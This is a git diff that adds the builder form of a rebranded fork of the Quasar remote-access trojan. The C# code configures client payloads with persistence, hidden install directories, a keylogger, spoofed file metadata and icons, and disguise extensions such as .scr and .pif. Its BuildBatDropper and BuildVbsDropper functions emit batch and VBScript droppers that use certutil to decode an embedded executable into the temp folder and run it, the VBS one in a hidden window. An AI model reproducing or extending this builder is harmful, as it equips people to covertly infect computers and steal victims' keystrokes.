chkStartup; + private System.Windows.Forms.Button btnBuild; + private System.Windows.Forms.Button btnSaveProfile; + private System.Windows.Forms.Button btnOpenBuildsFolder; + private System.Windows.Forms.ComboBox cmbOutputFormat; + private System.Windows.Forms.Label lblOutputFormat; + private System.Windows.Forms.Label lblMS; + private System.Windows.Forms.RadioButton rbSystem; + private System.Windows.Forms.RadioButton rbProgramFiles; + private System.Windows.Forms.PictureBox picUAC1; + private System.Windows.Forms.PictureBox picUAC2; + private System.Windows.Forms.ToolTip tooltip; + private System.Windows.Forms.CheckBox chkChangeIcon; + private System.Windows.Forms.TextBox txtDescription; + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.TextBox txtProductName; + private System.Windows.Forms.Label lblProductName; + private System.Windows.Forms.TextBox txtOriginalFilename; + private System.Windows.Forms.Label lblOriginalFilename; + private System.Windows.Forms.TextBox txtTrademarks; + private System.Windows.Forms.Label lblTrademarks; + private System.Windows.Forms.TextBox txtCopyright; + private System.Windows.Forms.Label lblCopyright; + private System.Windows.Forms.TextBox txtCompanyName; + private System.Windows.Forms.Label lblCompanyName; + private System.Windows.Forms.TextBox txtFileVersion; + private System.Windows.Forms.Label lblFileVersion; + private System.Windows.Forms.TextBox txtProductVersion; + private System.Windows.Forms.Label lblProductVersion; + private System.Windows.Forms.CheckBox chkChangeAsmInfo; + private System.Windows.Forms.CheckBox chkKeylogger; + private Controls.DotNetBarTabControl builderTabs; + private System.Windows.Forms.TabPage connectionPage; + private System.Windows.Forms.TabPage installationPage; + private System.Windows.Forms.TabPage assemblyPage; + private System.Windows.Forms.TabPage monitoringTab; + private System.Windows.Forms.ListBox lstHosts; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.Button btnAddHost; + private System.Windows.Forms.ToolStripMenuItem removeHostToolStripMenuItem; + private Controls.Line line1; + private System.Windows.Forms.Label label1; + private Controls.Line line3; + private System.Windows.Forms.Label label4; + private Controls.Line line4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabPage generalPage; + private System.Windows.Forms.TextBox txtTag; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label lblTag; + private Controls.Line line5; + private System.Windows.Forms.Label label6; + private Controls.Line line6; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label9; + private Controls.Line line7; + private System.Windows.Forms.Label label10; + private Controls.Line line8; + private System.Windows.Forms.Label label11; + private Controls.Line line9; + private System.Windows.Forms.Label label12; + private Controls.Line line10; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.ToolStripMenuItem clearToolStripMenuItem; + private System.Windows.Forms.Button btnBrowseIcon; + private System.Windows.Forms.TextBox txtIconPath; + private System.Windows.Forms.PictureBox iconPreview; + private System.Windows.Forms.Label lblLogDirectory; + private System.Windows.Forms.TextBox txtLogDirectoryName; + private System.Windows.Forms.CheckBox chkHideLogDirectory; + private System.Windows.Forms.NumericUpDown numericUpDownDelay; + private System.Windows.Forms.NumericUpDown numericUpDownPort; + private System.Windows.Forms.CheckBox chkHideSubDirectory; + private System.Windows.Forms.CheckBox chkUnattendedMode; + private Line line2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + } +} + + + diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.cs new file mode 100755 index 0000000..95a33a2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.cs @@ -0,0 +1,688 @@ +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Build; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmBuilder : Form + { + private bool _profileLoaded; + private bool _changed; + private readonly BindingList _hosts = new BindingList(); + private readonly HostsConverter _hostsConverter = new HostsConverter(); + + public FrmBuilder() + { + InitializeComponent(); + DarkModeHelper.ApplyToForm(this); + } + + private void LoadProfile(string profileName) + { + var profile = new BuilderProfile(profileName); + + _hosts.Clear(); + foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts)) + _hosts.Add(host); + + txtTag.Text = profile.Tag; + numericUpDownDelay.Value = profile.Delay; + txtMutex.Text = profile.Mutex; + chkUnattendedMode.Checked = profile.UnattendedMode; + chkInstall.Checked = profile.InstallClient; + txtInstallName.Text = profile.InstallName; + GetInstallPath(profile.InstallPath).Checked = true; + txtInstallSubDirectory.Text = profile.InstallSub; + chkHide.Checked = profile.HideFile; + chkHideSubDirectory.Checked = profile.HideSubDirectory; + chkStartup.Checked = profile.AddStartup; + txtRegistryKeyName.Text = profile.RegistryName; + chkChangeIcon.Checked = profile.ChangeIcon; + txtIconPath.Text = profile.IconPath; + chkChangeAsmInfo.Checked = profile.ChangeAsmInfo; + chkKeylogger.Checked = profile.Keylogger; + txtLogDirectoryName.Text = profile.LogDirectoryName; + chkHideLogDirectory.Checked = profile.HideLogDirectory; + txtProductName.Text = profile.ProductName; + txtDescription.Text = profile.Description; + txtCompanyName.Text = profile.CompanyName; + txtCopyright.Text = profile.Copyright; + txtTrademarks.Text = profile.Trademarks; + txtOriginalFilename.Text = profile.OriginalFilename; + txtProductVersion.Text = profile.ProductVersion; + txtFileVersion.Text = profile.FileVersion; + + _profileLoaded = true; + } + + private void SaveProfile(string profileName) + { + var profile = new BuilderProfile(profileName); + + profile.Tag = txtTag.Text; + profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); + profile.Delay = (int) numericUpDownDelay.Value; + profile.Mutex = txtMutex.Text; + profile.UnattendedMode = chkUnattendedMode.Checked; + profile.InstallClient = chkInstall.Checked; + profile.InstallName = txtInstallName.Text; + profile.InstallPath = GetInstallPath(); + profile.InstallSub = txtInstallSubDirectory.Text; + profile.HideFile = chkHide.Checked; + profile.HideSubDirectory = chkHideSubDirectory.Checked; + profile.AddStartup = chkStartup.Checked; + profile.RegistryName = txtRegistryKeyName.Text; + profile.ChangeIcon = chkChangeIcon.Checked; + profile.IconPath = txtIconPath.Text; + profile.ChangeAsmInfo = chkChangeAsmInfo.Checked; + profile.Keylogger = chkKeylogger.Checked; + profile.LogDirectoryName = txtLogDirectoryName.Text; + profile.HideLogDirectory = chkHideLogDirectory.Checked; + profile.ProductName = txtProductName.Text; + profile.Description = txtDescription.Text; + profile.CompanyName = txtCompanyName.Text; + profile.Copyright = txtCopyright.Text; + profile.Trademarks = txtTrademarks.Text; + profile.OriginalFilename = txtOriginalFilename.Text; + profile.ProductVersion = txtProductVersion.Text; + profile.FileVersion = txtFileVersion.Text; + } + + private void FrmBuilder_Load(object sender, EventArgs e) + { + lstHosts.DataSource = new BindingSource(_hosts, null); + LoadProfile("Default"); + + numericUpDownPort.Value = Settings.ListenPort; + + UpdateInstallationControlStates(); + UpdateStartupControlStates(); + UpdateAssemblyControlStates(); + UpdateIconControlStates(); + UpdateKeyloggerControlStates(); + } + private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e) + { + if (_changed && + MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected", + MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + SaveProfile("Default"); + } + } + + private void btnAddHost_Click(object sender, EventArgs e) + { + if (txtHost.Text.Length < 1) return; + + HasChanged(); + + var host = txtHost.Text; + ushort port = (ushort) numericUpDownPort.Value; + + _hosts.Add(new Host {Hostname = host, Port = port}); + txtHost.Text = ""; + } + + #region "Context Menu" + private void removeHostToolStripMenuItem_Click(object sender, EventArgs e) + { + HasChanged(); + + List selectedHosts = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList(); + + foreach (var item in selectedHosts) + { + foreach (var host in _hosts) + { + if (item == host.ToString()) + { + _hosts.Remove(host); + break; + } + } + } + } + + private void clearToolStripMenuItem_Click(object sender, EventArgs e) + { + HasChanged(); + + _hosts.Clear(); + } + #endregion + + #region "Misc" + private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void btnMutex_Click(object sender, EventArgs e) + { + HasChanged(); + + txtMutex.Text = Guid.NewGuid().ToString(); + } + + private void chkInstall_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateInstallationControlStates(); + } + + private void chkStartup_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateStartupControlStates(); + } + + private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateAssemblyControlStates(); + } + + private void chkKeylogger_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateKeyloggerControlStates(); + } + + private void btnBrowseIcon_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Title = "Choose Icon"; + ofd.Filter = "Icons *.ico|*.ico"; + ofd.Multiselect = false; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtIconPath.Text = ofd.FileName; + iconPreview.Image = Bitmap.FromHicon(new Icon(ofd.FileName, new Size(64, 64)).Handle); + } + } + } + + private void chkChangeIcon_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateIconControlStates(); + } + #endregion + + private bool CheckForEmptyInput() + { + return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings + _hosts.Count > 0 && // Connection + (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation + (!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation + } + + private BuildOptions GetBuildOptions() + { + BuildOptions options = new BuildOptions(); + if (!CheckForEmptyInput()) + { + throw new Exception("Please fill out all required fields!"); + } + + options.Tag = txtTag.Text; + options.Mutex = txtMutex.Text; + options.UnattendedMode = chkUnattendedMode.Checked; + options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); + options.Delay = (int) numericUpDownDelay.Value; + options.IconPath = txtIconPath.Text; + options.Version = Application.ProductVersion; + options.InstallPath = GetInstallPath(); + options.InstallSub = txtInstallSubDirectory.Text; + options.InstallName = txtInstallName.Text + ".exe"; + options.StartupName = txtRegistryKeyName.Text; + options.Install = chkInstall.Checked; + options.Startup = chkStartup.Checked; + options.HideFile = chkHide.Checked; + options.HideInstallSubdirectory = chkHideSubDirectory.Checked; + options.Keylogger = chkKeylogger.Checked; + options.LogDirectoryName = txtLogDirectoryName.Text; + options.HideLogDirectory = chkHideLogDirectory.Checked; + + if (!File.Exists("client.bin")) + { + throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Quasar."); + } + + if (options.RawHosts.Length < 2) + { + throw new Exception("Please enter a valid host to connect to."); + } + + if (chkChangeIcon.Checked) + { + if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) + { + throw new Exception("Please choose a valid icon path."); + } + } + else + options.IconPath = string.Empty; + + if (chkChangeAsmInfo.Checked) + { + if (!IsValidVersionNumber(txtProductVersion.Text)) + { + throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4"); + } + + if (!IsValidVersionNumber(txtFileVersion.Text)) + { + throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4"); + } + + options.AssemblyInformation = new string[8]; + options.AssemblyInformation[0] = txtProductName.Text; + options.AssemblyInformation[1] = txtDescription.Text; + options.AssemblyInformation[2] = txtCompanyName.Text; + options.AssemblyInformation[3] = txtCopyright.Text; + options.AssemblyInformation[4] = txtTrademarks.Text; + options.AssemblyInformation[5] = txtOriginalFilename.Text; + options.AssemblyInformation[6] = txtProductVersion.Text; + options.AssemblyInformation[7] = txtFileVersion.Text; + } + + // Create Builds folder on desktop + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string buildsFolder = Path.Combine(desktopPath, "Velane_Builds"); + + if (!Directory.Exists(buildsFolder)) + { + Directory.CreateDirectory(buildsFolder); + } + + using (SaveFileDialog sfd = new SaveFileDialog()) + { + // Determine format from combo selection + string[] formats = { "exe", "scr", "pif", "com", "bat", "vbs" }; + int fmtIdx = 0; + this.Invoke((MethodInvoker)delegate { fmtIdx = cmbOutputFormat.SelectedIndex; }); + if (fmtIdx < 0) fmtIdx = 0; + string fmt = formats[fmtIdx]; + options.OutputFormat = fmt; + + string filterStr; + string defaultExt; + switch (fmt) + { + case "scr": filterStr = "Screensaver *.scr|*.scr"; defaultExt = "scr"; break; + case "pif": filterStr = "PIF File *.pif|*.pif"; defaultExt = "pif"; break; + case "com": filterStr = "COM File *.com|*.com"; defaultExt = "com"; break; + case "bat": filterStr = "Batch File *.bat|*.bat"; defaultExt = "bat"; break; + case "vbs": filterStr = "VBScript *.vbs|*.vbs"; defaultExt = "vbs"; break; + default: filterStr = "Executables *.exe|*.exe"; defaultExt = "exe"; break; + } + + sfd.Title = "Save Client as"; + sfd.Filter = filterStr; + sfd.DefaultExt = defaultExt; + sfd.InitialDirectory = buildsFolder; + sfd.RestoreDirectory = true; + sfd.FileName = $"Client_{DateTime.Now:yyyyMMdd_HHmmss}.{defaultExt}"; + if (sfd.ShowDialog() != DialogResult.OK) + { + throw new Exception("Please choose a valid output path."); + } + options.OutputPath = sfd.FileName; + } + + if (string.IsNullOrEmpty(options.OutputPath)) + { + throw new Exception("Please choose a valid output path."); + } + + return options; + } + + private void btnBuild_Click(object sender, EventArgs e) + { + BuildOptions options; + try + { + options = GetBuildOptions(); + } + catch (Exception ex) + { + MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + SetBuildState(false); + + Thread t = new Thread(BuildClient); + t.Start(options); + } + + private void SetBuildState(bool state) + { + try + { + this.Invoke((MethodInvoker)delegate + { + btnBuild.Text = (state) ? "Build" : "Building..."; + btnBuild.Enabled = state; + }); + } + catch (InvalidOperationException) + { + } + } + + private void BuildClient(object o) + { + try + { + BuildOptions options = (BuildOptions) o; + + // Always build to a temp exe first + string finalPath = options.OutputPath; + string fmt = (options.OutputFormat ?? "exe").ToLower(); + bool needsWrapper = fmt == "bat" || fmt == "vbs"; + string tempExePath = needsWrapper + ? Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ".exe") + : finalPath; + + if (needsWrapper) + options.OutputPath = tempExePath; + + var builder = new ClientBuilder(options, "client.bin"); + builder.Build(); + + // Post-process for wrapper formats + if (needsWrapper) + { + byte[] exeBytes = File.ReadAllBytes(tempExePath); + string b64 = Convert.ToBase64String(exeBytes); + + if (fmt == "bat") + { + File.WriteAllText(finalPath, BuildBatDropper(b64), System.Text.Encoding.ASCII); + } + else if (fmt == "vbs") + { + string vbs = BuildVbsDropper(b64); + File.WriteAllText(finalPath, vbs, System.Text.Encoding.ASCII); + } + + try { File.Delete(tempExePath); } catch { } + } + + try + { + this.Invoke((MethodInvoker) delegate + { + MessageBox.Show(this, + $"Successfully built client!\nSaved to: {finalPath}", + "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + }); + } + catch (Exception) + { + } + } + catch (Exception ex) + { + try + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(this, + $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", + MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + } + catch (Exception) + { + } + } + SetBuildState(true); + } + + private static string BuildBatDropper(string b64) + { + // Working bat - visible window but functional. Used as fallback. + var sb = new System.Text.StringBuilder(); + sb.AppendLine("@echo off"); + sb.AppendLine("setlocal"); + sb.AppendLine("set \"b64f=%TEMP%\\~%RANDOM%%RANDOM%.b64\""); + sb.AppendLine("set \"exef=%TEMP%\\~%RANDOM%%RANDOM%.exe\""); + + int chunk = 64; + for (int i = 0; i < b64.Length; i += chunk) + { + int len = Math.Min(chunk, b64.Length - i); + string part = b64.Substring(i, len); + sb.AppendLine($"> \"%b64f%\""); + } + sb.AppendLine("echo.>> \"%b64f%\""); + sb.AppendLine("certutil -decode \"%b64f%\" \"%exef%\" >nul 2>&1"); + sb.AppendLine("del \"%b64f%\" >nul 2>&1"); + sb.AppendLine("start \"\" \"%exef%\""); + sb.AppendLine("endlocal"); + return sb.ToString(); + } + + private static string BuildVbsDropper(string b64) + { + var sb = new System.Text.StringBuilder(); + sb.AppendLine("Dim b64, tmpB64, tmpExe, fso, ts, shell"); + sb.AppendLine("b64 = _"); + // Split b64 into VBS line-continuation chunks + int chunkSize = 900; + for (int i = 0; i < b64.Length; i += chunkSize) + { + int len = Math.Min(chunkSize, b64.Length - i); + string chunk = b64.Substring(i, len); + bool last = (i + len >= b64.Length); + if (last) + sb.AppendLine($" \"{chunk}\""); + else + sb.AppendLine($" \"{chunk}\" & _"); + } + sb.AppendLine("Set fso = CreateObject(\"Scripting.FileSystemObject\")"); + sb.AppendLine("tmpB64 = fso.GetSpecialFolder(2) & \"\\~\" & Int(Rnd*99999) & \".b64\""); + sb.AppendLine("tmpExe = fso.GetSpecialFolder(2) & \"\\~\" & Int(Rnd*99999) & \".exe\""); + sb.AppendLine("Set ts = fso.CreateTextFile(tmpB64, True)"); + sb.AppendLine("ts.Write b64"); + sb.AppendLine("ts.Close"); + sb.AppendLine("Set shell = CreateObject(\"WScript.Shell\")"); + sb.AppendLine("shell.Run \"certutil -decode \"\"\" & tmpB64 & \"\"\" \"\"\" & tmpExe & \"\"\"\", 0, True"); + sb.AppendLine("fso.DeleteFile tmpB64"); + sb.AppendLine("shell.Run \"\"\"\" & tmpExe & \"\"\"\", 0, False"); + return sb.ToString(); + } + + private void RefreshPreviewPath() + { + string path = string.Empty; + if (rbAppdata.Checked) + path = + Path.Combine( + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + txtInstallSubDirectory.Text), txtInstallName.Text); + else if (rbProgramFiles.Checked) + path = + Path.Combine( + Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); + else if (rbSystem.Checked) + path = + Path.Combine( + Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); + + this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; }); + } + + private bool IsValidVersionNumber(string input) + { + Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); + return match.Success; + } + + private short GetInstallPath() + { + if (rbAppdata.Checked) return 1; + if (rbProgramFiles.Checked) return 2; + if (rbSystem.Checked) return 3; + throw new ArgumentException("InstallPath"); + } + + private RadioButton GetInstallPath(short installPath) + { + switch (installPath) + { + case 1: + return rbAppdata; + case 2: + return rbProgramFiles; + case 3: + return rbSystem; + default: + throw new ArgumentException("InstallPath"); + } + } + + private void UpdateAssemblyControlStates() + { + txtProductName.Enabled = chkChangeAsmInfo.Checked; + txtDescription.Enabled = chkChangeAsmInfo.Checked; + txtCompanyName.Enabled = chkChangeAsmInfo.Checked; + txtCopyright.Enabled = chkChangeAsmInfo.Checked; + txtTrademarks.Enabled = chkChangeAsmInfo.Checked; + txtOriginalFilename.Enabled = chkChangeAsmInfo.Checked; + txtFileVersion.Enabled = chkChangeAsmInfo.Checked; + txtProductVersion.Enabled = chkChangeAsmInfo.Checked; + } + + private void UpdateIconControlStates() + { + txtIconPath.Enabled = chkChangeIcon.Checked; + btnBrowseIcon.Enabled = chkChangeIcon.Checked; + } + + private void UpdateStartupControlStates() + { + txtRegistryKeyName.Enabled = chkStartup.Checked; + } + + private void UpdateInstallationControlStates() + { + txtInstallName.Enabled = chkInstall.Checked; + rbAppdata.Enabled = chkInstall.Checked; + rbProgramFiles.Enabled = chkInstall.Checked; + rbSystem.Enabled = chkInstall.Checked; + txtInstallSubDirectory.Enabled = chkInstall.Checked; + chkHide.Enabled = chkInstall.Checked; + chkHideSubDirectory.Enabled = chkInstall.Checked; + } + + private void UpdateKeyloggerControlStates() + { + txtLogDirectoryName.Enabled = chkKeylogger.Checked; + chkHideLogDirectory.Enabled = chkKeylogger.Checked; + } + + private void HasChanged() + { + if (!_changed && _profileLoaded) + _changed = true; + } + + /// + /// Handles a basic change in setting. + /// + private void HasChangedSetting(object sender, EventArgs e) + { + HasChanged(); + } + + /// + /// Handles a basic change in setting, also refreshing the example file path. + /// + private void HasChangedSettingAndFilePath(object sender, EventArgs e) + { + HasChanged(); + + RefreshPreviewPath(); + } + + private void btnOpenBuildsFolder_Click(object sender, EventArgs e) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string buildsFolder = Path.Combine(desktopPath, "Velane_Builds"); + + if (!Directory.Exists(buildsFolder)) + { + Directory.CreateDirectory(buildsFolder); + } + + System.Diagnostics.Process.Start("explorer.exe", buildsFolder); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Failed to open builds folder: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void monitoringTab_Click(object sender, EventArgs e) + { + + } + + private void btnSaveProfile_Click(object sender, EventArgs e) + { + try + { + SaveProfile("Default"); + _changed = false; + MessageBox.Show(this, "Profile saved successfully!", "Save Profile", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Failed to save profile: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.resx new file mode 100755 index 0000000..86315a9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.resx @@ -0,0 +1,665 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 105, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + 